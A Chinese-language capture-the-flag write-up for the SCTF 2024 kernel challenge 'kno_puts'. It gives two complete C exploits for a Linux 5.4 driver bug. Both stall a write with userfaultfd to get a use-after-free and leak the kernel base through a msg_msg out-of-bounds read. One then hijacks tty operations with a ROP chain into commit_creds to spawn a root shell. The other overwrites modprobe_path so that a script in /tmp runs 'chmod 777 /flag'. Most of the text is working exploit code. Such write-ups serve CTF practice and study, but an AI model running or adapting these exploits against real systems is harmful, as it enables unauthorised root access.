2024 SCTF Pwn kno_puts writeup

模块逻辑非常简单,kernel版本5.4.272,smap smep开启,未开启freelist_random

一次free的机会,write功能可使用uffd阻塞导致uaf

kmalloc的大小为0x2e0,直接返回了kmalloc的地址,没有泄漏功能

0x2e0的大小很显然就是经典的ptmx

地址泄漏

使用msg_msg结构体进行泄漏,uaf修改其size,使其越界读取后方的slab泄漏kernel_base

并且由于msg_msg特性,读取后自动被释放,为下一步tty_struct腾出位置

注意读取msg_msg后自动释放时,首部的指向队列queue的双链表指针需要指向可读写区域并相等

magic_gadget

在劫持了tty_ops后,调用write时rsi的值由用户决定

因此通过push rsi ; pop rsp的gadget来劫持栈后ROP,劫持栈的地址就选择模块返回的堆地址

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PAGE_SIZE 0x1000

int dev_fd;

uint64_t kno_puts_reserved_struct, kno_puts_used_struct, direct_mm_base, modprobe_path, kernel_base;

uint64_t cs, ss, rflag, rsp;

struct request
{
	char buf[0x20];
	uint64_t check;
	uint64_t *ret;
};

void save_state()
{
	asm(
		"movq %%cs, %0;"
		"movq %%ss, %1;"
		"movq %%rsp, %3;"
		"pushfq;"
		"pop %2;"
		: "=r"(cs),"=r"(ss),"=r"(rflag),"=r"(rsp)
		:
		: "memory"
	);
}

void register_userfault(void *fault_page, void *user_stuck_handler, int filedes_out, void *func, void *func_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
	
	struct arg *handler_arg = malloc(sizeof(struct arg));
	handler_arg->uffd = uffd;
	handler_arg->filedes_out = filedes_out;
	handler_arg->func = func;
	handler_arg->func_arg = func_arg;
	
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		perror("[X] ioctl-UFFDIO_API Error");

	ur.range.start = (unsigned long)fault_page;
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur)==-1)
		perror("[X] ioctl-UFFDIO_REGISTER Error");
		
	int s = pthread_create(&thr, NULL, user_stuck_handler, (void *)handler_arg);
	if (s)
		perror("[X] Pthread Create Error");
}
 
void *user_stuck_handler(void *handler_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	
	struct uffd_msg msg;
	unsigned long uffd = ((struct arg *)handler_arg)->uffd;
	puts("[+] Leak_handler Created");
 
	int filedes_out = ((struct arg *)handler_arg)->filedes_out;
	read(filedes_out, &filedes_out, 0x1);
 
	puts("[+] Restore Stuck Begin");
	struct pollfd pollfd;
	int nready;
	
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)
		perror("[X] Wrong Pool Return Value");
	
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
		perror("[X] Msg Error!!");
		
	char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
		perror("[X] Mmap Page Error!!");

	struct uffdio_copy uc;
	memset(page, 0, sizeof(page));
 
	void (*func)(void *, void *) = ((struct arg *)handler_arg)->func;
	void *func_arg = ((struct arg *)handler_arg)->func_arg;
	if (func) func(page, func_arg);
	free(handler_arg);
 
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address &~ (PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[-] User Stuck Handler Done!!");
}

int make_queue(key_t key, int msgflg)
{
	int result;
	
	if ((result = msgget(key, msgflg)) == -1)
		perror("[X] Msgget Failure");
		
	return result;
}
 
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
	if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
		perror("[X] Msgsend Failure");
		
	return;
}
 
uint64_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
	uint64_t result;
	
	if (result = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
		perror("[X] Msgrcv Failure");

	return result;
}


int get_tty_struct()
{
	int ptmx_fd = open("/dev/ptmx", O_RDWR);
	if (ptmx_fd <= 0)
		perror("[X] Ptmx open failed");
		
	return ptmx_fd;
}

int spray_kmsg()
{
	char buf[0x400];
	
	memset(buf, 0x61, 0x400);
	
	struct msg *message = (struct msg *)buf;
	
	int qid;
	qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
	send_msg(qid, message, 0x400 - 0x30, 0);
	
	return qid;
}

uint64_t get_kmsg(int qid)
{
	uint64_t buf[0x100];
	
	memset(buf, 0, 0x800);
	
	int size = 0x7b0;
	
	get_msg(qid, (char *)buf, size, 0, IPC_NOWAIT|MSG_NOERROR);
	
	return buf[0x7E] - 0x1073e00;
}

uint64_t kno_new()
{
	struct request request_t;
	uint64_t ret;
	
	request_t.check = 1;
	request_t.ret = &ret;
	ioctl(dev_fd, 0xFFF0, &request_t);
	
	return ret;
}

void kno_free()
{
	struct request request_t;
	
	request_t.check = 1;
	request_t.ret = 0ull;
	ioctl(dev_fd, 0xFFF1, &request_t);
}

void *blocked_kmsg_write(void *arg)
{
	void blocked_kmsg_write_callback(void *page)
	{
		memcpy(page, &direct_mm_base, 0x8);
		memcpy(page + 0x8, &direct_mm_base, 0x8);
		memcpy(page + 0x10, "aaaaaaaa", 0x8);
		memcpy(page + 0x18, "\xd0\x07", 0x2);
	}
	
	char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	
	int pipe_fd = *(int *)arg;
	
	register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_kmsg_write_callback, NULL);
	
	write(dev_fd, blocked_page, 0x20);
}

void *blocked_tty_write(void *arg)
{
	void blocked_tty_write_callback(void *page)
	{
		memcpy(page, "\x01\x54\x00\x00\x01\x00\x00\x00", 0x8);
		memcpy(page + 0x18, &kno_puts_used_struct, 0x8);
	}
	
	char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	
	int pipe_fd = *(int *)arg;
	
	register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_tty_write_callback, NULL);
	
	write(dev_fd, blocked_page, 0x20);
}

void getshell()
{
	system("/bin/sh");
}

int main()
{
	save_state();
	
	dev_fd = open("/dev/ksctf",O_RDWR);
	if (dev_fd < 0)
		perror("[X] Error Open");
	
	kno_puts_reserved_struct = kno_new();
	
	get_tty_struct();
	
	direct_mm_base = kno_puts_reserved_struct & 0xfffffffff0000000;
	
	printf("[+] kno_puts_reserved_struct: 0x%lx\n", kno_puts_reserved_struct);
	printf("[+] direct_mm_base: 0x%lx\n", direct_mm_base);
	
	int blocked_kmsg_write_pipe[2], blocked_tty_write_pipe[2];
	
	pipe(blocked_kmsg_write_pipe);
	pipe(blocked_tty_write_pipe);
	
	pthread_t blocked_kmsg_write_thread_t, blocked_tty_write_thread_t;
	
	pthread_create(&blocked_kmsg_write_thread_t, NULL, blocked_kmsg_write, &blocked_kmsg_write_pipe[0]);
	pthread_create(&blocked_tty_write_thread_t, NULL, blocked_tty_write, &blocked_tty_write_pipe[0]);
	
	sleep(1);
	
	kno_free();
	
	int qid = spray_kmsg();
	
	write(blocked_kmsg_write_pipe[1], "\x00", 0x1);
	
	sleep(1);
	
	kernel_base = get_kmsg(qid);
	
	uint64_t prepare_kernel_cred = kernel_base + 0x98140;
	uint64_t commit_creds = kernel_base + 0x97d00;
	
	printf("[+] kernel_base: 0x%lx\n", kernel_base);
	
	int ptmx_fd = get_tty_struct();
	
	kno_puts_used_struct = kno_new();
	
	write(blocked_tty_write_pipe[1], "\x00", 0x1);
	
	sleep(1);
	
	uint64_t fake_struct[0x10];
	
	memset(fake_struct, 0, sizeof(fake_struct));
	fake_struct[0x7] = kernel_base + 0x599a34;
	fake_struct[0xA] = kernel_base;
	
	write(dev_fd, fake_struct, sizeof(fake_struct));
	
	uint64_t ROP[0x20];
	memset(ROP, 0, sizeof(ROP));
	
	ROP[0x0] = kernel_base + 0x3e98;
	ROP[0x1] = 0;
	ROP[0x2] = prepare_kernel_cred;
	ROP[0x3] = commit_creds;
	ROP[0x4] = kernel_base + 0xc00aa5;
	ROP[0x5] = 0;
	ROP[0x6] = 0;
	ROP[0x7] = (uint64_t)getshell;
	ROP[0x8] = cs;
	ROP[0x9] = rflag;
	ROP[0xa] = rsp;
	ROP[0xb] = ss;
	
	write(ptmx_fd, ROP, sizeof(ROP));
}

modprobe_path

特别注意到,linux内核中的list_head双链表解链时的地址检查并不严格

并且当next指向不可写区域时不会导致panic,而是killed

但是此时next已经被写到prev + 0x8的位置了,这就造成了一个无条件的任意地址写

而在释放msg_msg这一步刚好存在一个对于首部queue的解链操作

因此直接写modprobe_path即可

#include <stdio.h>
#include <fcntl.h>
#include <poll.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <signal.h>
#include <unistd.h>
#include <syscall.h>
#include <pthread.h>
#include <linux/sched.h>
#include <linux/userfaultfd.h>
#include <sys/shm.h>
#include <sys/msg.h>
#include <sys/ipc.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>

#define PAGE_SIZE 0x1000

int dev_fd;

uint64_t kno_puts_reserved_struct, direct_mm_base, modprobe_path, kernel_base;

struct request
{
	char buf[0x20];
	uint64_t check;
	uint64_t *ret;
};

void register_userfault(void *fault_page, void *user_stuck_handler, int filedes_out, void *func, void *func_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	
	pthread_t thr;
	struct uffdio_api ua;
	struct uffdio_register ur;
	uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC|O_NONBLOCK);
	
	struct arg *handler_arg = malloc(sizeof(struct arg));
	handler_arg->uffd = uffd;
	handler_arg->filedes_out = filedes_out;
	handler_arg->func = func;
	handler_arg->func_arg = func_arg;
	
	ua.api = UFFD_API;
	ua.features = 0;
	if (ioctl(uffd, UFFDIO_API, &ua) == -1)
		perror("[X] ioctl-UFFDIO_API Error");

	ur.range.start = (unsigned long)fault_page;
	ur.range.len = PAGE_SIZE;
	ur.mode = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &ur)==-1)
		perror("[X] ioctl-UFFDIO_REGISTER Error");
		
	int s = pthread_create(&thr, NULL, user_stuck_handler, (void *)handler_arg);
	if (s)
		perror("[X] Pthread Create Error");
}
 
void *user_stuck_handler(void *handler_arg)
{
	struct arg
	{
		uint64_t uffd;
		int filedes_out;
		void (*func)(void *,void *);
		void *func_arg;
	};
	
	struct uffd_msg msg;
	unsigned long uffd = ((struct arg *)handler_arg)->uffd;
	puts("[+] Leak_handler Created");
 
	int filedes_out = ((struct arg *)handler_arg)->filedes_out;
	read(filedes_out, &filedes_out, 0x1);
 
	puts("[+] Restore Stuck Begin");
	struct pollfd pollfd;
	int nready;
	
	pollfd.fd = uffd;
	pollfd.events = POLLIN;
	
	nready = poll(&pollfd, 1, -1);
	if (nready != 1)
		perror("[X] Wrong Pool Return Value");
	
	nready = read(uffd, &msg, sizeof(msg));
	if (nready <= 0)
		perror("[X] Msg Error!!");
		
	char *page = (char *)mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	if (page == MAP_FAILED)
		perror("[X] Mmap Page Error!!");

	struct uffdio_copy uc;
	memset(page, 0, sizeof(page));
 
	void (*func)(void *, void *) = ((struct arg *)handler_arg)->func;
	void *func_arg = ((struct arg *)handler_arg)->func_arg;
	if (func) func(page, func_arg);
	free(handler_arg);
 
	uc.src = (unsigned long)page;
	uc.dst = (unsigned long)msg.arg.pagefault.address &~ (PAGE_SIZE - 1);
	uc.len = PAGE_SIZE;
	uc.mode = 0;
	uc.copy = 0;
	ioctl(uffd, UFFDIO_COPY, &uc);
	puts("[-] User Stuck Handler Done!!");
}

int make_queue(key_t key, int msgflg)
{
	int result;
	
	if ((result = msgget(key, msgflg)) == -1)
		perror("[X] Msgget Failure");
		
	return result;
}
 
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
	if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
		perror("[X] Msgsend Failure");
		
	return;
}
 
uint64_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
	uint64_t result;
	
	if (result = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0)
		perror("[X] Msgrcv Failure");

	return result;
}


int get_tty_struct()
{
	int ptmx_fd = open("/dev/ptmx", O_RDWR);
	if (ptmx_fd <= 0)
		perror("[X] Ptmx open failed");
		
	return ptmx_fd;
}

int spray_kmsg()
{
	char buf[0x400];
	
	memset(buf, 0x61, 0x400);
	
	struct msg *message = (struct msg *)buf;
	
	int qid;
	qid = make_queue(IPC_PRIVATE, 0666|IPC_CREAT);
	send_msg(qid, message, 0x400 - 0x30, 0);
	
	return qid;
}

uint64_t get_kmsg(int qid)
{
	uint64_t buf[0x100];
	
	memset(buf, 0, 0x800);
	
	int size = 0x7b0;
	
	get_msg(qid, (char *)buf, size, 0, IPC_NOWAIT|MSG_NOERROR);
	
	return buf[0x7E] - 0x1073e00;
}

uint64_t kno_new()
{
	struct request request_t;
	uint64_t ret;
	
	request_t.check = 1;
	request_t.ret = &ret;
	ioctl(dev_fd, 0xFFF0, &request_t);
	
	return ret;
}

void kno_free()
{
	struct request request_t;
	
	request_t.check = 1;
	request_t.ret = 0ull;
	ioctl(dev_fd, 0xFFF1, &request_t);
}

void *blocked_kmsg_write(void *arg)
{
	void blocked_kmsg_write_callback(void *page)
	{
		memcpy(page, &direct_mm_base, 0x8);
		memcpy(page + 0x8, &direct_mm_base, 0x8);
		memcpy(page + 0x10, "aaaaaaaa", 0x8);
		memcpy(page + 0x18, "\xd0\x07", 0x2);
	}
	
	char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	
	int pipe_fd = *(int *)arg;
	
	register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_kmsg_write_callback, NULL);
	
	write(dev_fd, blocked_page, 0x20);
}

void *blocked_modprobe_write(void *arg)
{
	void blocked_modprobe_write_callback(void *page)
	{
		memcpy(page, &modprobe_path, 0x8);
		memcpy(page + 0x8, "/tmp/aa\x00", 0x8);
	}
	
	char *blocked_page = mmap(NULL, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
	
	int pipe_fd = *(int *)arg;
	
	register_userfault(blocked_page, user_stuck_handler, pipe_fd, blocked_modprobe_write_callback, NULL);
	
	write(dev_fd, blocked_page, 0x10);
}

void getshell()
{
	system("/bin/sh");
}

int main()
{
	system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
	system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/aa");
	system("chmod +x /tmp/aa");
	system("chmod +x /tmp/dummy");
	
	dev_fd = open("/dev/ksctf",O_RDWR);
	if (dev_fd < 0)
		perror("[X] Error Open");
	
	kno_puts_reserved_struct = kno_new();
	
	get_tty_struct();
	
	direct_mm_base = kno_puts_reserved_struct & 0xfffffffff0000000;
	
	printf("[+] kno_puts_reserved_struct: 0x%lx\n", kno_puts_reserved_struct);
	printf("[+] direct_mm_base: 0x%lx\n", direct_mm_base);
	
	int blocked_kmsg_write_pipe[2], blocked_modprobe_write_pipe[2];
	
	pipe(blocked_kmsg_write_pipe);
	pipe(blocked_modprobe_write_pipe);
	
	pthread_t blocked_kmsg_write_thread_t, blocked_modprobe_write_thread_t;
	
	pthread_create(&blocked_kmsg_write_thread_t, NULL, blocked_kmsg_write, &blocked_kmsg_write_pipe[0]);
	pthread_create(&blocked_modprobe_write_thread_t, NULL, blocked_modprobe_write, &blocked_modprobe_write_pipe[0]);
	
	sleep(1);
	
	kno_free();
	
	int qid1 = spray_kmsg();
	
	write(blocked_kmsg_write_pipe[1], "\x00", 0x1);
	
	sleep(1);
	
	kernel_base = get_kmsg(qid1);
	
	modprobe_path = kernel_base + 0x14493c0 - 0x8;
	
	printf("[+] kernel_base: 0x%lx\n", kernel_base);
	printf("[+] modprobe_path: 0x%lx\n", modprobe_path);
	printf("[+] modprobe_path: 0x%lx\n", direct_mm_base + 0x14493c0);
	
	int qid2 = spray_kmsg();
	
	write(blocked_modprobe_write_pipe[1], "\x00", 0x1);
	
	sleep(1);
	
	get_kmsg(qid2);
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇